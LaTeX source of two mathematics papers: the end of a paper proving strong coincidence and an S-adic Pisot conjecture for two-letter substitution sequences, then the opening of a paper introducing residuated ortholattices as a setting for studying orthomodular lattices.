Since $\pi_{\mathbf{u},\mathbf{1}}\,\mathbf{e}_2 \equiv \pi_{\mathbf{u},\mathbf{1}}\,\mathbf{e}_1 \bmod \Lambda$ holds, the canonical projection of~$E$ onto $\mathbf{1}^\perp/\Lambda \cong \mathbb{S}^1$
is equal to the translation $\mathbf{x}\mapsto\mathbf{x} + \pi_{\mathbf{u},\mathbf{1}}\,\mathbf{e}_1$.
Then we have the following commutative diagram:
\begin{equation}\label{diag}
\begin{gathered}
\xymatrix{X_{\boldsymbol{\sigma}} \ar[r]^\varphi\ar[d]_\Sigma & \mathcal{R} \ar[r]^\pi\ar[d]_E & \mathbf{1}^\perp/\Lambda\ar[d]_{+\pi_{\mathbf{u},\mathbf{1}}\mathbf{e}_1} \\ X_{\boldsymbol{\sigma}} \ar[r]_\varphi & \mathcal{R}\ar[r]_\pi &\mathbf{1}^\perp/\Lambda }
\end{gathered}
\end{equation}
\section{Strong coincidence}\label{sec:strongcoincidence}
We recall the formalism of \emph{geometric substitution} introduced in \cite{Arnoux-Ito:01}.
For $[\mathbf{x},i] \in \mathbb{Z}^2\times\mathcal{A}$, let
\[
E_1(\sigma)[\mathbf{x},i] = \big\{ [M_\sigma \mathbf{x}+\mathbf{l}(p),j]:\, j\in\mathcal{A}, \, p\in\mathcal{A}^* \text{ and } pj \text{ is a prefix of }\sigma(i) \big\}.
\]
Then strong coincidence holds (on two letters) if and only if there exists $n \in \mathbb{N}$ such that $E_1(\sigma_{[0,n)})[\mathbf{0},1] \cap E_1(\sigma_{[0,n)})[\mathbf{0},2] \neq \emptyset$.
We identify each $[\mathbf{x},i] \in\mathbb{Z}^2\times\mathcal{A}$ with the segment $\mathbf{x} + [0,1)\, \mathbf{e}_i$.
Define the \emph{height} (with respect to~$\mathbf{u}$ and~$\mathbf{v}$) of a point $\mathbf{x} = t \mathbf{u} + \pi_{\mathbf{u},\mathbf{v}}\, \mathbf{x} \in\mathbb{R}^2$ by $H(\mathbf{x}) := t \in \mathbb{R}$.
According to the terminology introduced in \cite{Barge-Diamond:02}, a~\emph{configuration} (of segments) $\mathcal{K}$ of size~$m$ with respect to a vector~$\mathbf{w}$ is a collection of $m$ distinct segments $[\mathbf{x},i] \in \mathbb{Z}^2 \times \mathcal{A}$ such that some translate of~$\mathbf{w}^\perp$ intersects the interior of each element of~$\mathcal{K}$ (the corresponding points thus have the same height with respect to $\mathbf{u}$ and~$\mathbf{w}$).
The $n$-th iterate is
\[
\mathcal{K}^{(n)} = \big\{ E_1(\sigma_{[0,n)})[\mathbf{x},i]:\, [\mathbf{x},i] \in \mathcal{K} \big\}.
\]
Note that he $n$-th iterate of a configuration is not a configuration of segments but a union of ``broken lines''.
Observe that, by \cite[Proposition~4.3 and Lemma~4.1]{Berthe-Steiner-Thuswaldner} for a primitive, algebraically irreducible, and recurrent sequence of substitutions~$\boldsymbol{\sigma}$ with $C$-balanced language~$\mathcal{L}_{\boldsymbol{\sigma}}$, we have $\lim_{n\to\infty} \pi_{\mathbf{u},\mathbf{1}}\, M_{[0,n)} \mathbf{x} = \mathbf{0}$ for each $\mathbf{x} \in \mathbb{R}^2$ and $\| \pi_{\mathbf{u},\mathbf{1}}\,\mathbf{l}(p)\|\le C$ for all prefixes~$p$ of limit words of~$\boldsymbol{\sigma}$.
Thus, for each sufficiently large~$n$, the vertices of~$\mathcal{K}^{(n)}$ are in
\[
T_{\mathbf{u},C} := \{\mathbf{x} \in \mathbb{Z}^2:\, \|\pi_{\mathbf{u},\mathbf{1}}\, \mathbf{x}\| < C+1\},
\]
and we may consider only $\mathcal{K} \subset T_{\mathbf{u},C}$. (This corresponds to \cite[Lemma 2]{Barge-Diamond:02} which is stated in the substitutive case.)
In particular, $ \{[\mathbf{0},1], [\mathbf{0},2] \}$ is a configuration as soon as $\mathbf {w}$ has positive entries. Obviously, thus configuration it is contained in $ T_{\mathbf{u},C}$.
We say that $\mathcal{K}$ has an $n$-\emph{coincidence} if there exist
$[\mathbf{x},i], [\mathbf{y},j] \in \mathcal{K}$ such that $E_1(\sigma_{[0,n)})[\mathbf{x},i]\cap E_1(\sigma_{[0,n)})[\mathbf{y},j]\neq\emptyset$.
Given a set $J \subseteq \mathbb{N}$, we say that a configuration~$\mathcal{K}$ is $J$-\emph{coincident} if $\mathcal{K}$ has an $n$-coincidence for some $n\in J$.
Observe that $n$-coincidence does not necessarily imply $m$-coincidence for $m > n$.
However, translating all vertices of a configuration by a fixed vector does not change the property of being $J$-coincident.
We first prove the following proposition, generalizing the proof of~\cite[Theorem 1]{Barge-Diamond:02}.
\begin{proposition} \label{p:1}
Assume that the sequence of substitutions $\boldsymbol{\sigma} = (\sigma_n)_{n\in\mathbb{N}}$ over the alphabet $\mathcal{A} = \{1,2\}$ has Property PRICE w.r.t.\ the sequences $(n_k)_{k\in\mathbb{N}}$ and $(\ell_k)_{k\in\mathbb{N}}$ and the vector~$\mathbf{v}$, and that
\begin{equation}
\mathbf{v}^\perp \cap \mathbb{Z}^2 \cap (T_{\mathbf{u},C} - T_{\mathbf{u},C}) = \{\mathbf{0}\}, \label{e:vrat}
\end{equation}
with $C$ such that $\mathcal{L}_{\boldsymbol{\sigma}}$ is $C$-balanced.
Then $\boldsymbol{\sigma}$ satisfies the strong coincidence condition.
\end{proposition}
Note that (\ref{e:vrat}) holds in particular when~$\mathbf{v}$ has rationally independent coordinates.
\begin{proof}
Let $(n_k)_{k\in\mathbb{N}}$, $(\ell_k)_{k\in\mathbb{N}}$ be the sequences of property PRICE.
Consider the sets
\[
J_h = \big\{ n_{k_0} + n_{k_1} + \cdots + n_{k_s} : s \ge 0,\, n_{k_j} + \ell_{k_j} \leq \ell_{k_{j+1}} \ \forall\, 0 \le j < s,\, k_0 \ge h\big\}.
\]
Note that $k_{j } < k_{j+1}$, for $ 0 \le j < s$, since $n_{k_j} + \ell_{k_j} \leq \ell_{k_{j+1}}$ implies in particular that $\ell_{k_j} < \ell_{k_{j+1}}$.
Given such a sum in~$J_h$, repeatedly applying~\ref{defR} we get
\begin{equation}\label{rec}
\sigma_{[0,n_{k_0} + n_{k_1} + \cdots + n_{k_s})} = \sigma_{[0,n_{k_s})}\cdots \sigma_{[0,n_{k_1})} \sigma_{[0,n_{k_0})}.
\end{equation}
We only consider in this proof configurations with respect to~$\mathbf{v}$. Let $\mathcal{D}_h$ be the set of \emph{not} $J_h$-coincident configurations
that are contained in~$T_{\mathbf{u},C}$, and $\mathcal{D} = \bigcup_{h\in\mathbb{N}} \mathcal{D}_h$.
Since $J_0 \supset J_1 \supset \cdots$, we have $\mathcal{D}_0 \subseteq \mathcal{D}_1\subseteq \cdots$.
As $\mathbf{u} \in \mathbb{R}_+^2$ and $\mathbf{v} \in \mathbb{R}_{\ge0}^2 \setminus \{\mathbf{0}\}$ are not orthogonal (by Lemma~\ref{le:rational}), $\mathcal{D}$ contains only finitely many configurations up to translation.
Moreover, with each configuration $\mathcal{K} \in \mathcal{D}_h$, all translates of~$\mathcal{K}$ that are in~$T_{\mathbf{u},C}$ are also contained in~$\mathcal{D}_h$, by the translation-invariance of $J_h$-coincidence.
Therefore, we have $\mathcal{D}_h = \mathcal{D}$ for all sufficiently large~$h$.
Let $\mathcal{K}$ be a configuration in~$\mathcal{D}$ of maximal size.
There exists an interval~$I$ of positive length such that, for every $t \in I$, $\mathbf{v}^\perp + t \mathbf{u}$ intersects each of the segments of~$\mathcal{K}$ in its interior. Indeed, \eqref{e:vrat} implies that $\mathbf{v} $ has positive coordinates.
By property~\ref{defE}, the same holds for $(\mathbf{v}^{(n_k)})^\perp + t \mathbf{u}$, provided that $k$ is sufficiently large.
Consider now $\mathcal{K}^{(n_k)}$, with $k$ large enough such that all the following hold: $\mathcal{D}_k = \mathcal{D}$, all segments of~$\mathcal{K}$ intersect $(\mathbf{v}^{(n_k)})^\perp + t \mathbf{u}$ for all $t \in I$, and all vertices of $\mathcal{K}^{(n_k)}$ are in~$T_{\mathbf{u},C}$.
Let $\{\mathbf{p}_1, \mathbf{p}_2, \ldots, \mathbf{p}_{r_k}\}$ be the set of vertices of~$\mathcal{K}^{(n_k)}$ that are contained in $M_{[0,n_k)} \big((\mathbf{v}^{(n_k)})^\perp + I\, \mathbf{u}\big) = \mathbf{v}^\perp + I\, M_{[0,n_k)} \mathbf{u}$.
By~\eqref{e:vrat}, no two points in $\mathbb{Z}^2 \cap T_{\mathbf{u},C}$ have the same height. Therefore, we can assume w.l.o.g.\ that $H(\mathbf{p}_1) < H(\mathbf{p}_2) < \cdots < H(\mathbf{p}_{r_k})$.
For all $1 \le j \le r_k$, the configuration
\[
\mathcal{K}^{(n_k)}_j := \{ [\mathbf{x},i] \in\mathcal{K}^{(n_k)}:\, \big(\mathbf{x} + [0,1)\, \mathbf{e}_i\big) \cap \big(\mathbf{v}^\perp + H(\mathbf{p}_j)\, \mathbf{u}\big) \neq \emptyset \}
\]
has the same size as~$\mathcal{K}$ because $\mathcal{K}$ is not $J_k$-coincident and, for each $[\mathbf{x}',i'] \in \mathcal{K}$, the collection of segments in $E_1(\sigma_{[0,n_k)})[\mathbf{x}',i']$ forms a broken line from $M_{[0,n_k)} \mathbf{x}'$ to $M_{[0,n_k)} (\mathbf{x}'+\mathbf{e}_{i'})$ that intersects, for each $t \in I$, the line $\mathbf{v}^\perp + t\, \mathbf{u}$ exactly once. (Observe that the stripe $\mathbf{v}^\perp + I\, M_{[0,n_k)} \mathbf{u}$ has two complementary components, each of which contains one of the endpoints $M_{[0,n_k)} \mathbf{x}'$ and $M_{[0,n_k)} (\mathbf{x}'+\mathbf{e}_{i'})$ because $\mathbf{x}'$ and $\mathbf{x}'+\mathbf{e}_{i'}$ lie in different complementary components of the stripe $(\mathbf{v}^{(n_k)})^\perp + I \mathbf{u}$.)
Moreover, we have $\mathcal{K}^{(n_k)}_j \in \mathcal{D}$.
Indeed, take $h \ge k$ such that $\ell_h \ge n_k + \ell_k$.
If $\mathcal{K}^{(n_k)}_j$ were not in $\mathcal{D} = \mathcal{D}_h$, then $\mathcal{K}^{(n_k)}_j$ would have an $m$-coincidence for some $m \in J_h$.
Write $m= n_{k_0} + n_{k_1} + \cdots + n_{k_s}$. One has $m+n_k \in J_k$, since $ n_k +\ell_k \leq \ell_h \leq \ell_{k_0} $.
But then $\mathcal{K}$ would have an ($m+n_k$)-coincidence because
\[
E_1(\sigma_{[0,m)}) \mathcal{K}^{(n_k)} = E_1(\sigma_{[0,m)}) E_1(\sigma_{[0,n_k)}) \mathcal{K} = E_1(\sigma_{[0,m+n_k)})\mathcal{K},
\]
contradicting that $\mathcal{K} \in \mathcal{D} = \mathcal{D}_k$.
For all $2 \le j \le r_k$, the configurations $\mathcal{K}^{(n_k)}_{j-1}$ and $\mathcal{K}^{(n_k)}_j$ differ only by segments ending and beginning at~$\mathbf{p}_j$, and the number of segments in $\mathcal{K}^{(n_k)}$ ending and beginning at~$\mathbf{p}_j$ is thus the same.
Let $\mathcal{K}'$ be equal to $\mathcal{K}^{(n_k)}_{j-1}$, with the segments ending at~$\mathbf{p}_j$ removed.
We have the following possibilities.
\begin{enumerate}
\item\label{caseA}
Two segments of~$\mathcal{K}^{(n_k)}_{j-1}$ end at~$\mathbf{p}_j$.
Then $\mathcal{K}^{(n_k)}_j = \mathcal{K}' \cup \{[\mathbf{p}_j,1], [\mathbf{p}_j,2]\}$.
\item\label{caseB}
One segment of~$\mathcal{K}^{(n_k)}_{j-1}$ ends at~$\mathbf{p}_j$, and either $\mathcal{K}' \cup \{[\mathbf{p}_j,1]\}$ or $\mathcal{K}' \cup \{[\mathbf{p}_j,2]\}$ is in~$\mathcal{D}$.
Then $\mathcal{K}^{(n_k)}_j = \mathcal{K}' \cup \{[\mathbf{p}_j,i]\}$ with $i$ such that $\mathcal{K}' \cup \{[\mathbf{p}_j,i]\} \in \mathcal{D}$.
\item
One segment of~$\mathcal{K}^{(n_k)}_{j-1}$ ends at~$\mathbf{p}_j$, and both $\mathcal{K}' \cup \{[\mathbf{p}_j,1]\}$, $\mathcal{K}' \cup \{[\mathbf{p}_j,2]\}$ are in~$\mathcal{D}$.
Since the size of~$\mathcal{K}$ is maximal in~$\mathcal{D}$, we have $\mathcal{K}' \cup \{[\mathbf{p}_j,1], [\mathbf{p}_j,2]\} \notin \mathcal{D}$, hence $E_1(\sigma_{[0,n)}) [\mathbf{p}_j,1] \cap E_1(\sigma_{[0,n)}) [\mathbf{p}_j,2] \neq \emptyset$ for some $n \in \mathbb{N}$.
Then also $E_1(\sigma_{[0,n)}) [\mathbf{0},1] \cap E_1(\sigma_{[0,n)}) [\mathbf{0},2] \neq \emptyset$, thus the strong coincidence condition holds.
\end{enumerate}
Assume now that the strong coincidence condition does not hold.
Hence we are always either in case \eqref{caseA} or case~\eqref{caseB}.
Then $\mathcal{D}$ and the relative positions of the segments within~$\mathcal{K}^{(n_k)}_{j-1}$ entirely determine~$\mathcal{K}^{(n_k)}_j$.
(Note that $\mathbf{p}_j$ is the endpoint of the segments in $\mathcal{K}^{(n_k)}_{j-1}$, disregarding~$\mathbf{p}_{j-1}$, with minimal height.)
Recall that $\mathcal{D}$ contains up to translation only finitely many configurations, and denote the number of such configurations by~$c$.
Then we have $\mathcal{K}^{(n_k)}_{a+b} = \mathcal{K}^{(n_k)}_a + \mathbf{t}_k$ for some $1 \le a,b \le c$, and some translation vector~$\mathbf{t}_k = \mathbf{p}_{b+a} - \mathbf{p}_a \in\mathbb{Z}^2$ (provided that $r_k \ge 2c$).
Consequently, we have $\mathcal{K}^{(n_k)}_{j+b} = \mathcal{K}^{(n_k)}_j + \mathbf{t}_k$ for all $a \le j \le r_k-b$, and thus $\mathcal{K}^{(n_k)}_{a+\ell b} = \mathcal{K}^{(n_k)}_a + \ell \,\mathbf{t}_k$, for all $\ell$ such that $a + \ell b \leq r_k$.
Let now $k \to \infty$.
Then the stripe $\mathbf{v}^\perp + I\, M_{[0,n_k)} \mathbf{u}$ becomes wider and wider as~$k$ grows, hence $r_k \to \infty$.
Since there are only finitely many possibilites for~$\mathbf{t}_k$, there exists thus a $\mathbf{t} \in \mathbb{Z}^2$ such that arbitrarily large multiples of~$\mathbf{t}$ are translation vectors of configurations in~$\mathcal{D}$.
Since all configurations in~$\mathcal{D}$ are in~$T_{\mathbf{u},C}$, the vector~$\mathbf{t}$ must be a scalar multiple of~$\mathbf{u}$, in contradiction with Lemma~\ref{le:rational}.
This proves that the strong coincidence condition holds.
\end{proof}
To prove Theorem~\ref{scc}, we show that the conditions of Proposition~\ref{p:1} are fulfilled for some shifted sequence $(\sigma_{n+h})_{n\in\mathbb{N}}$.
\begin{proof}[Proof of Theorem~\ref{scc}]
Let $\boldsymbol{\sigma}$ satisfy the assumptions of Theorem~\ref{scc}.
By \cite[Lemma~5.9]{Berthe-Steiner-Thuswaldner}, property PRICE holds for some sequences $(n_k)$, $(\ell_k)$, a vector~$\mathbf{v}\in\mathbb{R}^2_{\ge 0}$ and a balancedness constant~$C$.
If $\mathbf{v}$ has rationally independent coordinates, then we can apply Proposition~\ref{p:1} directly. To cover the contrary case, assume in the following that $\mathbf{v}$ is a multiple of a rational vector.
Consider $\mathbf{x} \in \mathbb{Z}^2 \setminus \{\mathbf{0}\}$.
We have
\begin{align*}
\langle \mathbf{x},\mathbf{v}^{(h)} \rangle & = \langle \mathbf{x}, \tr{(M_{[0,h)})} \mathbf{v} \rangle = \langle M_{[0,h)} \mathbf{x}, \mathbf{v} \rangle = \langle H(M_{[0,h)} \mathbf{x}) \mathbf{u} + \pi_{\mathbf{u},\mathbf{v}}\, M_{[0,h)} \mathbf{x}, \mathbf{v} \rangle \\
& = H(M_{[0,h)} \mathbf{x})\, \langle \mathbf{u}, \mathbf{v} \rangle.
\end{align*}
As $\mathbf{u}$ has rationally independent coordinates by Lemma~\ref{le:rational} and $\mathbf{v}$ is a multiple of a rational vector, we have $\langle \mathbf{u}, \mathbf{v} \rangle \neq 0$.
We have $\lim_{h\to\infty} \pi_{\mathbf{u},\mathbf{v}}\, M_{[0,h)} \mathbf{x} = \mathbf{0}$ by \cite[Proposition~4.3]{Berthe-Steiner-Thuswaldner} and $M_{[0,h)} \mathbf{x} \in \mathbb{Z}^2 \setminus \{\mathbf{0}\}$ since $\boldsymbol{\sigma}$ is algebraically irreducible, thus $H(M_{[0,h)} \mathbf{x}) \ne 0$ for all sufficiently large~$h$.
We conclude that, for each $\mathbf{x} \in \mathbb{Z}^2 \setminus \{\mathbf{0}\}$, there is $h_0(\mathbf{x})$ such that
\begin{equation}\label{eq:hx}
\mathbf{x} \not\in (\mathbf{v}^{(h)})^\perp \hbox{ for all } h \ge h_0(\mathbf{x}).
\end{equation}
As $\mathbf{u} \in \mathbb{R}_+^2$, the set $\bigcup_{h\in \mathbb{N}} (\mathbf{v}^{(h)})^\perp \cap (T_{\mathbf{u},C} - T_{\mathbf{u},C})$ is bounded and, hence, its intersection with $\mathbb{Z}^2$ is finite. Thus \eqref{eq:hx} implies that $(\mathbf{v}^{(h)})^\perp \cap (T_{\mathbf{u},C} - T_{\mathbf{u},C}) \cap \mathbb{Z}^2 = \{\mathbf{0}\}$ for all sufficiently large~$h$.
Choose now $h = n_k + \ell_k$ sufficiently large.
Then the language $\mathcal{L}_{\boldsymbol{\sigma}}^{(h)}$ is $C$-balanced by Property~\ref{defC}.
By \cite[Lemma~5.10]{Berthe-Steiner-Thuswaldner}, there exists $k_0$ such that the shifted sequence $(\sigma_{n+h})_{n\in\mathbb{N}}$ has property PRICE w.r.t.~$(n_{k+k_0})$ and $(\ell_{k+k_0}-h)$ and the vector $\mathbf{v}^{(h)}$.
Thus $(\sigma_{n+h})_{n\in\mathbb{N}}$ satisfies the strong coincidence condition by Proposition~\ref{p:1}, i.e., there exists $n$ such that $E_1(\sigma_{[h,n+h)}) [\mathbf{0},1] \cap E_1(\sigma_{[h,n+h)}) [\mathbf{0},2] \neq \emptyset$.
This implies that $E_1(\sigma_{[0,n+h)}) [\mathbf{0},1] \cap E_1(\sigma_{[0,n+h)}) [\mathbf{0},2] \neq \emptyset$, which concludes the proof of the theorem.
\end{proof}
\section{Proof of the $S$-adic Pisot conjecture}\label{sec:conjecture}
In this section we will deduce Theorem~\ref{sadic2} from Theorem~\ref{scc} and the following lemma, which is a generalization of a result of \cite{Host}; see also \cite[Section~6.3.3]{Queffelec:10}.
Recall Section~\ref{dynp}, in particular the diagram~\eqref{diag}.
Theorem~\ref{th:ae} follows immediately from Theorem~\ref{sadic2}.
\begin{lemma}\label{host}
Let $\boldsymbol{\sigma}$ be as in Theorem~\ref{sadic2}.
Then the map $\overline{\varphi} = \pi \circ \varphi$ is one-to-one $\mu$-almost everywhere on $X_{\boldsymbol{\sigma}}$.
\end{lemma}
\begin{proof}
Note first that it is sufficient to show that whenever $\overline{\varphi}(u) = \overline{\varphi}(v)$, one can find a non-negative integer $n$ such that $\varphi(\Sigma^n u) = \varphi(\Sigma^n v)$.
The $\mu$-almost everywhere injectivity of~$\overline{\varphi}$ will thus come from the $\mu$-almost everywhere injectivity of~$\varphi$, which holds according to Proposition~\ref{sadicres}~\eqref{1to1}.
Let now $u,v \in X_{\boldsymbol{\sigma}}$ be such that $\overline{\varphi}(u) = \overline{\varphi}(v)$. Consider the set
\[
\big\{n \in \mathbb{N}:\, \mathbf{z}_n := \varphi(\Sigma^n u) - \varphi(\Sigma^n v) = 0\big\}.
\]
By induction, one has $\mathbf{z}_n \in \Lambda = \mathbb{Z}\, (\mathbf{e}_2-\mathbf{e}_1)$ for all~$n$.
Indeed, $\mathbf{z}_0 \in \Lambda$ because $\overline{\varphi}(u) - \overline{\varphi}(v) = 0$.
Using $E\circ\varphi = \varphi\circ\Sigma$ we see, for all~$n$, that
\[
\mathbf{z}_{n+1} - \mathbf{z}_n = \big(E^{n+1}(\varphi(u)) - E^n(\varphi(u))\big) - \big(E^{n+1}(\varphi(v)) - E^n(\varphi(v))\big) \in \big\{\mathbf{0},\pm (\mathbf{e}_2-\mathbf{e}_1)\big\}.
\]
Let $\pi_0 : \mathbf{1}^\perp \to \mathbb{R}$, $(x,-x)\mapsto x$ be the projection on the first coordinate.
Then $z_n := \pi_0(\mathbf{z}_n) \in\mathbb{Z}$ and $z_{n+1}-z_n \in \{0,\pm 1 \}$ for all $n$.
Since $\mathcal{L}_{\boldsymbol{\sigma}}$ is $C$-balanced, we know that $\varphi(X_{\boldsymbol{\sigma}}) = \mathcal{R} \subset [-C,C]^2 \cap \mathbf{1}^\perp$, thus $\pi_0(\varphi(\Sigma^n u)) \in [-C,C]$ for any $u\in X_{\boldsymbol{\sigma}}$.
Minimality of $(X_{\boldsymbol{\sigma}},\Sigma)$, given by Proposition~\ref{sadicres}~\eqref{min}, implies that the sets
\begin{align*}
A &= \{ n \in \mathbb{N} : \pi_0(\varphi(\Sigma^n u)) > C-1 \}, \\
B &= \{ n \in \mathbb{N} : \pi_0(\varphi(\Sigma^n u)) < -C + 1\}
\end{align*}
are relatively dense.
If $n\in A$, then $\pi_0(\varphi(\Sigma^n v))\leq C < \pi_0(\varphi(\Sigma^n u)) + 1$ and $z_n\geq 0$. Analogously, we deduce that, if $n\in B$, then $z_n\leq 0$. The result follows observing that, given $p\in A$, $q\in B$ such that $p\leq q$, we can find~$n$ such that $p\leq n \leq q$ and $z_n = 0$, using the fact that $z_{n+1} - z_n \in \{0,\pm 1\}$ for all $n$.
\end{proof}
\begin{proof}[Proof of Theorem~\ref{sadic2}]
By Theorem~\ref{scc}, the strong coincidence condition holds, which implies that $(X_{\boldsymbol{\sigma}},\Sigma,\mu)$ is measurably conjugate to $(\mathcal{R},E,\lambda)$ via~$\varphi$ by Proposition~\ref{sadicres}~\eqref{1to1}. But by Lemma~\ref{host} we even have that $(X_{\boldsymbol{\sigma}},\Sigma,\mu)$ is measurably conjugate to $(\mathbf{1}^\perp/\Lambda,+\pi_{\mathbf{u},\mathbf{1}}\,\mathbf{e}_1,\lambda)$ via~$\overline{\varphi}$, with $\mathbf{1}^\perp/\Lambda \cong \mathbb{S}^1$.
\end{proof}
\begin{proof}[Proof of Theorem~\ref{th:ae}]
In view of Theorem~\ref{sadic2}, this is an immediate consequence of \cite[Theorem~2]{Berthe-Steiner-Thuswaldner}.
\end{proof}
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1,477,468,750,071 | arxiv | \section{Introduction}
Orthomodular lattices have been studied extensively as an algebraic foundation for reasoning in quantum mechanics (see, e.g., \cite{DCGG2004}), and their assertional logic is among the most prominent quantum logics (see, e.g., \cite[p.~483]{F2016}). Regrettably, the algebraic theory of orthomodular lattices suffers from several defects that have inhibited its study. For instance, the variety of orthomodular lattices is not closed under MacNeille completions \cite{H1991} or even canonical completions \cite{H1998}. Because existing proofs that ortholattices have the finite model property invoke the MacNeille completion \cite{B1976}, this presents a significant obstacle in tackling decidability questions. Indeed, it remains an open question whether the equational theory of orthomodular lattices (or, equivalently, their assertional logic) is decidable.
Many of these challenges seem to be due to the orthomodular law itself, whose properties contribute to the underlying difficulty of the previously-mentioned questions. Consequently, one plausible approach to address these questions is to embed orthomodular lattices in an environment that is more amenable from the perspective of completions, decidability, proof theory, and related issues. The present study contributes to research in this direction, introducing \emph{residuated ortholattices} as a candidate for such an amenable environment.
\Cref{sec:algebra} defines and contextualizes residuated ortholattices, and undertakes a preliminary study of their algebraic properties. Notably, we provide several characterizations of orthomodular lattices within this environment in \Cref{sec:term def}. We subsequently establish in \Cref{sec:logic} that (in contrast to ortholattices) residuated ortholattices are the equivalent algebraic semantics of their assertional logic. Finally, in \Cref{sec:translation} we exhibit a double-negation translation of orthomodular lattices into residuated ortholattices. As an application of this translation, we show that the decidability of the equational theory of any of several varieties of residuated ortholattices suffices to guarantee the decidability of the equational theory of the corresponding variety of orthomodular lattices. In particular, if the equational theory of residuated ortholattices is decidable, then so is the equational theory of orthomodular lattices.
\section{From orthomodular lattices to residuated ortholattices}\label{sec:algebra}
We assume familiarity with lattice theory, universal algebra, and algebraic logic, and we invite the reader to consult \cite{BS1981,GJKO2007,F2016} as references on these topics. A \emph{bounded involutive lattice} is a bounded lattice $(A,\wedge,\vee,0,1)$ equipped with an antitone involution $\neg$. A bounded involutive lattice is called an \emph{ortholattice} (or an \emph{OL}) if it satisfies either of the equivalent identities $x\wedge\neg x \approx 0$ or $x\vee\neg x \approx 1$,\footnote{As usual in universal-algebraic studies, we use the symbol $\approx$ to denote formal equality.} and an ortholattice ${\mathbf A}$ is called an \emph{orthomodular lattice} (or an \emph{OML}) if it satisfies the quasiequation
$$x\leq y \implies y \approx x\vee (y\wedge\neg x),$$
where as usual $x\leq y$ abbreviates $x\wedge y \approx x$. Equivalently, by replacing $x$ by $x\wedge y$, orthomodular lattices may be defined relative to ortholattices by the identity $y\approx (x\wedge y)\vee (y\wedge\neg (x\wedge y)).$ Due to their relevance in the logical foundations of quantum mechanics as well as purely algebraic concerns, ortholattices and orthomodular lattices are the subject of an extensive literature; see e.g. \cite{BH2000,DCGG2004} for an overview.
In any bounded involutive lattice $(A,\wedge,\vee,\neg,0,1)$, we may define two binary operations $\cdot$ and $\shook$ by
$$x\cdot y := x\wedge (\neg x\vee y),$$
$$x\shook y := \neg x\vee (x\wedge y),$$
for all $x,y\in A$. The operation $\cdot$ is usually called \emph{Sasaki product},\footnote{Note that some authors denote the term $x\wedge (\neg x\vee y)$ by $y\cdot x$, while others denote it by $x\cdot y$ as we do here.} and as usual we will often abbreviate $x\cdot y$ by $xy$. The operation $\shook $ is well-known as a candidate for an implication-like operation in OMLs (see, e.g., \cite{MP2003}), and has been called \emph{Sasaki hook} in this context. However, in our more general setting, $\shook $ will not behave as an implication. We caution that neither $\cdot$ nor $\shook $ is associative or commutative in general.
If ${\mathbf A} = (A,\wedge,\vee,\neg,0,1)$ is a bounded involutive lattice, we say that $\cdot$ is \emph{residuated}\footnote{Most studies of residuated structures focus on binary operations with both left and right (co-)residuals. Since we consider only structures with a (co-)residual on one side, we will simply use the term \emph{(co-)residuated} for brevity.} provided that there exists a binary operation $\backslash$ on $A$ such that for all $x,y,z\in A$,
\begin{equation}\tag{R}\label{eq:R}
x\cdot y\leq z \iff y\leq x\backslash z.
\end{equation}
Dually, we say that $\shook $ is \emph{co-residuated} if there exists a binary operation $\odot$ on $A$ such that for all $x,y,z\in A$,
\begin{equation}\tag{CoR}\label{eq:CoR}
y\leq x\shook z \iff x \odot y\leq z.
\end{equation}
Chajda and L\"anger show in \cite{CL2017} that for each orthomodular lattice ${\mathbf A}$, Sasaki product $\cdot$ is residuated and $x\backslash y = x \shook y$ for all $x,y\in A$ (and therefore also that $\shook $ is co-residuated and $x \odot y = x\cdot y$ for all $x,y\in A$). This does not hold for bounded involutive lattices generally, but we may obtain the following.
\begin{proposition}\label{prop:res iff cores}
Let ${\mathbf A}$ be a bounded involutive lattice. The following are equivalent.
\begin{enumerate}[\quad(1)]
\item The operation $\cdot$ is residuated.
\item The operation $\shook $ is co-residuated.
\end{enumerate}
Moreover, if ${\mathbf A}$ is a bounded involutive lattice for which the above equivalent conditions hold, then ${\mathbf A}$ is an ortholattice.
\end{proposition}
\begin{proof}
Suppose that $\cdot$ is residuated and that $\backslash$ is its residual. For $x,y\in A$ we define a binary operation $\odot$ on $A$ by
$$x\odot y = \neg (y\backslash\neg x).$$
Now observe that for all $x,y,z\in A$,
\begin{align*}
x\leq y \shook z &\iff x\leq \neg (y\cdot\neg z)\\
&\iff y\cdot\neg z \leq \neg x\\
&\iff \neg z\leq y\backslash\neg x\\
&\iff \neg (y\backslash\neg x) \leq z.\\
&\iff x\odot y\leq z.
\end{align*}
Thus $\odot$ is a co-residual for $\shook $. The converse follows by a similar argument, showing that if $\odot$ is a co-residual for $\shook $, then $x\backslash y = \neg (x\odot \neg y)$ defines a residual for $\cdot$.
Now suppose that ${\mathbf A}$ satisfies the equivalent conditions (1) and (2) and let $x\in A$. Direct computation shows that $x\cdot 0 = x\wedge\neg x$ for all $x\in A$. On the other hand, $0\leq x\backslash 0$ implies by residuation that $x\cdot 0=0$. Thus $x\wedge \neg x \approx 0$ holds in ${\mathbf A}$, and ${\mathbf A}$ is an ortholattice.
\end{proof}
\begin{definition}
A \emph{residuated ortholattice} (or \emph{ROL}) is an expansion of a bounded involutive lattice $(A,\wedge,\vee,\neg,0,1)$ by a binary operation $\backslash$ satisfying (\ref{eq:R}).
\end{definition}
There are many residuated ortholattices that are not OMLs. Table~\ref{tab:card} displays a computer-assisted count (up to isomorphism) of the number of OMLs and ROLs of cardinality at most $12$. By employing the usual methods of residuated structures \cite{GJKO2007}, one may show that the condition (\ref{eq:R}) may be replaced by a finite set of identities, whence residuated ortholattices form a variety. We denote the varieties of OLs, OMLs, and ROLs by $\sf OL$, $\sf OML$, and $\sf ROL$, respectively.
\begin{table}[t]\label{tab:card}
\begin{center}
\begin{tabular}{|c|ccccccccccc}
\hline
$n$ & \multicolumn{1}{c|}{\textbf{2}} & \multicolumn{1}{c|}{\textbf{3}} & \multicolumn{1}{c|}{\textbf{4}} & \multicolumn{1}{c|}{\textbf{5}} & \multicolumn{1}{c|}{\textbf{6}} & \multicolumn{1}{c|}{\textbf{7}} & \multicolumn{1}{c|}{\textbf{8}} & \multicolumn{1}{c|}{\textbf{9}} & \multicolumn{1}{c|}{\textbf{10}} & \multicolumn{1}{c|}{\textbf{11}} & \multicolumn{1}{c|}{\textbf{12}} \\ \hline
\textbf{OMLs} & 1 & 0 & 1 & 0 & 1 & 0 & 2 & 0 & 2 & 0 & 3 \\ \cline{1-1}
\textbf{ROLs} & 1 & 0 & 1 & 0 & 2 & 0 & 4 & 0 & 7 & 0 & 15 \\ \cline{1-1}
\end{tabular}
\end{center}
\caption{The number of OMLs and ROLs of cardinality $n$ up to isomorphism.}
\end{table}
\subsection{Basic properties of residuated ortholattices}
